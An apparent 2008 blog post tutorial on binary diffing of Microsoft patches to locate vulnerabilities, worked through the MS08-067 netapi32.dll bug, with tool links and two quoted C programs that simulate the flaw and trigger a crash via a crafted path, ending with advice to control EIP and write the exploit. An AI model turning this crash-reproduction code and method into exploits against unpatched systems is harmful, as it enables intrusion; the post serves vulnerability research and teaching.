<p style="text-align: left;">anyway becoming a real exploit coder is not easy but it&#8217;s possible and i should quote and notice another sentence that is : <span id="post-1010" class="single-title">Modern Exploits &#8211; Do You Still Need To Learn Assembly Language (ASM) ( you can read full post here : (http://www.darknet.org.uk/2008/09/modern-exploits-do-you-still-need-to-learn-assembly-language-asm/)</span></p>
<p style="text-align: left;">i,m fully sure learning assembly language will help you in all of exploit development levels from reversing and understanding vulnerability to writing reliable exploit code for modern operation system&#8217;s .</p>
<p style="text-align: left;">after you can understand assembly code you can supposition high level code and thereupon you can identify vulnerability from discrepancy between patched and unpatched binaries (however advanced tools and IDA plugin&#8217;s make your life easier and you can identify vulnerable code / function if a few minutes)  this technic is called binary diffing. in future i,ll discuss a few advanced trick and methods , that&#8217;s improve your speed and analysis but for now i just talk about main of binary diffing on Microsoft security patch&#8217;s .</p>
<p style="text-align: left;">first step is downloading patch from Microsoft . the best way is searching on Microsoft site for your target bulletin . for example see MS08-067 (my favorite bug in this year :D )</p>
<p style="text-align: left;">just you need click on your target os and download the path.</p>
<p style="text-align: left;">
<p style="text-align: left;">after you downloaded the patch as you know you should not install the patch and you need extract patch data</p>
<p style="text-align: left;">with /x command .for example extracting ms08-067 patch :</p>
<p style="text-align: center;"><img class="aligncenter" title="Extract Patch" src="http://i33.tinypic.com/rqwzgj.jpg" alt="" width="398" height="203" /></p>
<p style="text-align: left;">the output of executing atop command is extract all date inside the patch . and in this example result is :</p>
<p style="text-align: center;"><img class="aligncenter" title="Extracted" src="http://i35.tinypic.com/2ryrryc.jpg" alt="" width="478" height="367" /></p>
<p style="text-align: center;">
<p style="text-align: left;">as you can see in this patch we have just one file and that is a dll named netapi32.dll so we can understand vulnerable function is in this dll .</p>
<p style="text-align: left;">next step is find vulnerable (unpatched) file (or files) on your system and then you can rename patched file to filename_patched.XXX and then you can analysis and notice changes in patched and unpatched files.</p>
<p style="text-align: left;">for accomplish this procedure you can use different tools and ways . but using IDA Pro is one of best and logical ways you can use for this procedure . you can understand changes without any plugins and auxiliary tools but for imporving speed and getting better result you have tree choice .</p>
<p style="text-align: left;">1- using bindiff (exclusive commercial IDA plugin and best auxiliary too analysis</p>
<p style="text-align: left;">for example you can see patch analysis video for MS08-001 (TCP/IP Kernel Pool Overflow)  here :</p>
<p style="text-align: left;"><a title="http://www.zynamics.com/files/ms08001.swf" href="http://www.zynamics.com/files/ms08001.swf">http://www.zynamics.com/files/ms08001.swf</a></p>
<p style="text-align: left;">2- using Eeye DiffingSuite  i like this tools because it&#8217;s really easy to use and effective .</p>
<p style="text-align: left;">you can download this tools from following link :</p>
<p style="text-align: left;"><a title="http://research.eeye.com/html/Tools/download/DiffingSuiteSetup.exe" href="http://research.eeye.com/html/Tools/download/DiffingSuiteSetup.exe">http://research.eeye.com/html/Tools/download/DiffingSuiteSetup.exe</a></p>
<p style="text-align: left;">and also you see tree good video about analysis different patched with this tools</p>
<p style="text-align: left;">- analysing MS06-033 : <a title="http://research.eeye.com/html/tools/tutorials/BDS_v_MS06-033.htm" href="http://research.eeye.com/html/tools/tutorials/BDS_v_MS06-033.htm">http://research.eeye.com/html/tools/tutorials/BDS_v_MS06-033.htm</a></p>
<p style="text-align: left;">- analysing MS06-007 : <a title="http://research.eeye.com/html/tools/tutorials/MS06-007.htm" href="http://research.eeye.com/html/tools/tutorials/MS06-007.htm">http://research.eeye.com/html/tools/tutorials/MS06-007.htm</a></p>
<p style="text-align: left;">- analysing MS06-036 : <a title="http://research.eeye.com/html/tools/tutorials/MS06-036%20Analysis.htm" href="http://research.eeye.com/html/tools/tutorials/MS06-036%20Analysis.htm">http://research.eeye.com/html/tools/tutorials/MS06-036%20Analysis.htm</a></p>
<p style="text-align: left;">after videos please read following link (a good work from Mr <a href="http://milw0rm.com/author/1665">stephen lawler</a>) about full reverse of MS08-067 patch using DiffingSuite and IDA pro cheerfully because it contain divisor of work :</p>
<p style="text-align: left;"><a title="http://www.dontstuffbeansupyournose.com/?p=35" href="http://www.dontstuffbeansupyournose.com/?p=35">http://www.dontstuffbeansupyournose.com/?p=35</a></p>
<p style="text-align: left;">3- using tenable security PatchDiff . PatchDiff is another IDA Pro Plugin (like bindiff) but have a big difference with Bindiff this plugin is free !</p>
<p style="text-align: left;">you can see a video about this plugin here :</p>
<p style="text-align: left;"><a title="http://cgi.tenablesecurity.com/tenable/pdiff2.swf.html" href="http://cgi.tenablesecurity.com/tenable/pdiff2.swf.html">http://cgi.tenablesecurity.com/tenable/pdiff2.swf.html</a></p>
<p style="text-align: left;">and you can download this plugin from following link :</p>
<p style="text-align: left;"><a title="http://cgi.tenablesecurity.com/tenable/dl.php?p=patchdiff2-2.0.5.zip" href="http://cgi.tenablesecurity.com/tenable/dl.php?p=patchdiff2-2.0.5.zip">http://cgi.tenablesecurity.com/tenable/dl.php?p=patchdiff2-2.0.5.zip</a></p>
<p style="text-align: left;">using this plugin is so easy but i discuss a few about this plugin  . frist of all you need patched and unpatched binaries after this you just first need open unpatched binary IDA and save disassembly in idb file after that you should open patched binary and save disassembly result to another idb file :</p>
<p style="text-align: left;"><img class="aligncenter" title="IDB" src="http://i34.tinypic.com/1ewbqe.jpg" alt="" width="572" height="394" /></p>
<p style="text-align: left;">since  this you just need open unpatched IDB using plugin to understating discrepancy . after this step as Mr Nicolas Pouvesle (pathdiff plugin author) discussed graph nodes can be synchronized by double clicking on a given node. Graphs use the following colors:</p>
<ul>
<li>white: identical nodes</li>
<li>grey: unmatched nodes</li>
<li>red: matched nodes</li>
<li>tan: identical nodes (different crc)</li>
</ul>
<p style="text-align: left;">for example you see patchdiff result for MS08-067 patch :</p>
<p style="text-align: center;"><img class="aligncenter" title="patchdiff" src="http://i36.tinypic.com/apbivp.jpg" alt="" width="600" height="600" /></p>
<p style="text-align: left;">and :</p>
<p style="text-align: center;"><img class="aligncenter" title="ms08-067" src="http://i36.tinypic.com/2qj95pl.jpg" alt="" width="600" height="600" /></p>
<p style="text-align: left;">
<p>if you be smart you can write a high level simulator code for vulnerable function . for example Mr Alexander Sotirov wrote a simulator of vulnerable function :</p>
<blockquote><p><code><br />
#include </code></p>
<p>// This is the decompiled function sub_5B86A51B in netapi32.dll on XP SP3<br />
// and sub_6EA11D4D on Vista SP1</p>
<p>int ms08_067(wchar_t* path)<br />
{<br />
wchar_t* p;<br />
wchar_t* q;<br />
wchar_t* previous_slash = NULL;<br />
wchar_t* current_slash  = NULL;<br />
wchar_t  ch;</p>
<p>#ifdef VISTA<br />
int len = wcslen(path);<br />
wchar_t* end_of_path = path + len;<br />
#endif</p>
<p>// If the path starts with a server name, skip it</p>
<p>if ((path[0] == L&#8217;\\&#8217; || path[0] == L&#8217;/') &amp;&amp;<br />
(path[1] == L&#8217;\\&#8217; || path[1] == L&#8217;/'))<br />
{<br />
p = path+2;</p>
<p>while (*p != L&#8217;\\&#8217; &amp;&amp; *p != L&#8217;/') {<br />
if (*p == L&#8217;\0&#8242;)<br />
return 0;<br />
p++;<br />
}</p>
<p>p++;</p>
<p>// make path point after the server name</p>
<p>path = p;</p>
<p>// make sure the server name is followed by a single slash</p>
<p>if (path[0] == L&#8217;\\&#8217; || path[0] == L&#8217;/')<br />
return 0;<br />
}</p>
<p>if (path[0] == L&#8217;\0&#8242;)   // return if the path is empty<br />
return 1;</p>
<p>// Iterate through the path and canonicalize ..\ and .\</p>
<p>p = path;</p>
<p>while (1) {<br />
if (*p == L&#8217;\\&#8217;) {<br />
// we have a slash</p>
<p>if (current_slash == p-1)   // don&#8217;t allow consequtive slashes<br />
return 0;</p>
<p>// store the locations of the current and previous slashes</p>
<p>previous_slash = current_slash;<br />
current_slash = p;<br />
}<br />
else if (*p == L&#8217;.&#8217; &amp;&amp; (current_slash == p-1 || p == path)) {<br />
// we have \. or ^.</p>
<p>if (p[1] == L&#8217;.&#8217; &amp;&amp; (p[2] == L&#8217;\\&#8217; || p[2] == L&#8217;\0&#8242;)) {<br />
// we have a \..\, \..$, ^..\ or ^..$ sequence</p>
<p>if (previous_slash == NULL)<br />
return 0;</p>
<p>// example: aaa\bbb\..\ccc<br />
//             ^   ^  ^<br />
//             |   |  &amp;p[2]<br />
//             |   |<br />
//             |   current_slash<br />
//             |<br />
//             previous_slash</p>
<p>ch = p[2];</p>
<p>#ifdef VISTA<br />
if (previous_slash &gt;= end_of_path)<br />
return 0;</p>
<p>wcscpy_s(previous_slash, (end_of_path-previous_slash)/2, p+2);<br />
#else // XP<br />
wcscpy(previous_slash, &amp;p[2]);<br />
#endif</p>
<p>if (ch == L&#8217;\0&#8242;)<br />
return 1;</p>
<p>current_slash = previous_slash;<br />
p = previous_slash;</p>
<p>// find the slash before p</p>
<p>// BUG: if previous_slash points to the beginning of the<br />
// string, we&#8217;ll go beyond the start of the buffer<br />
//<br />
// example string: \a\..\</p>
<p>q = p-1;</p>
<p>while (*q != L&#8217;\\&#8217; &amp;&amp; q != path)<br />
q&#8211;;</p>
<p>if (*p == L&#8217;\\&#8217;)<br />
previous_slash = q;<br />
else<br />
previous_slash = NULL;<br />
}<br />
else if (p[1] == L&#8217;\\&#8217;) {<br />
// we have \.\ or ^.\</p>
<p>#ifdef VISTA<br />
if (current_slash != NULL) {<br />
if (current_slash &gt;= end_of_path)<br />
return 0;<br />
wcscpy_s(current_slash, (end_of_path-current_slash)/2, p+2);<br />
goto end_of_loop;<br />
}<br />
else {  // current_slash == NULL<br />
if (p &gt;= end_of_path)<br />
return 0;<br />
wcscpy_s(p, (end_of_path-p)/2, p+2);<br />
goto end_of_loop;<br />
}<br />
#else // XP<br />
if (current_slash != NULL) {<br />
wcscpy(current_slash, p+2);<br />
goto end_of_loop;<br />
}<br />
else { // current_slash == NULL<br />
wcscpy(p, p+2);<br />
goto end_of_loop;<br />
}<br />
#endif<br />
}<br />
else if (p[1] != L&#8217;\0&#8242;) {<br />
// we have \. or ^. followed by some other char</p>
<p>if (current_slash != NULL) {<br />
p = current_slash;<br />
}<br />
*p = L&#8217;\0&#8242;;<br />
return 1;<br />
}<br />
}</p>
<p>p++;</p>
<p>end_of_loop:<br />
if (*p == L&#8217;\0&#8242;)<br />
return 1;<br />
}<br />
}</p>
<p>// Run this program to simulate the MS08-067 vulnerability</p>
<p>int main()<br />
{<br />
return ms08_067(L&#8221;\\c\\..\\..\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#8221;);<br />
}</p></blockquote>
<p style="text-align: left;">final steps are identify vulnerable function / understaning function parameters and write a POC code for controlling EIP .</p>
<p style="text-align: left;"><img class="aligncenter" title="Path" src="http://www.dontstuffbeansupyournose.com/wp-content/uploads/2008/10/image020.jpg" alt="" width="575" height="318" /></p>
<p style="text-align: left;">for example Mr <a href="http://milw0rm.com/author/1665">stephen lawler</a> wrote a c program for checking MS08-067 vulnerability by taking the offset between sub_7CDDB23D and the load address of NETAPI32.DLL :</p>
<blockquote><p><code><br />
#include </code></p>
<p>#include</p>
<p>int wmain(int argc, wchar_t **argv)</p>
<p>{</p>
<p>HMODULE netapi32 = LoadLibraryW(argv[1]);</p>
<p>void (__stdcall *foo)(PWCHAR);</p>
<p>WCHAR buf[4096];</p>
<p>*(PVOID*)&amp;foo = (PVOID)(((PUCHAR)netapi32) + 0×1b23d);</p>
<p>//__asm { int 3 }</p>
<p>wcscpy(buf, argv[2]);</p>
<p>foo(buf);</p>
<p>wprintf(L”%s\n”, buf);</p>
<p>}</p></blockquote>
<p style="text-align: left;">and finnaly he got a crash :</p>
<p style="text-align: left;">
<p style="text-align: left;"><img class="aligncenter" title="crash" src="http://www.dontstuffbeansupyournose.com/wp-content/uploads/2008/10/image016.jpg" alt="" width="576" height="337" /></p>
<p style="text-align: left;">after getting first crash you just need getting eip and write exploit for vulnerability .</p>
<p style="text-align: left;">finally i should say sorry for disheveled writing . the reason of this is size of this subject in next post i talk directly about patch analysis tricks and i,ll anlysis another interesting Microsoft Patch step by step .</p>
<p style="text-align: left;">thank you for your time and attention</p>
<p style="text-align: left;">best regards</p>
<p style="text-align: left;">shahin.r</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/11/microsoft-patch-analysis-binary-diffing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
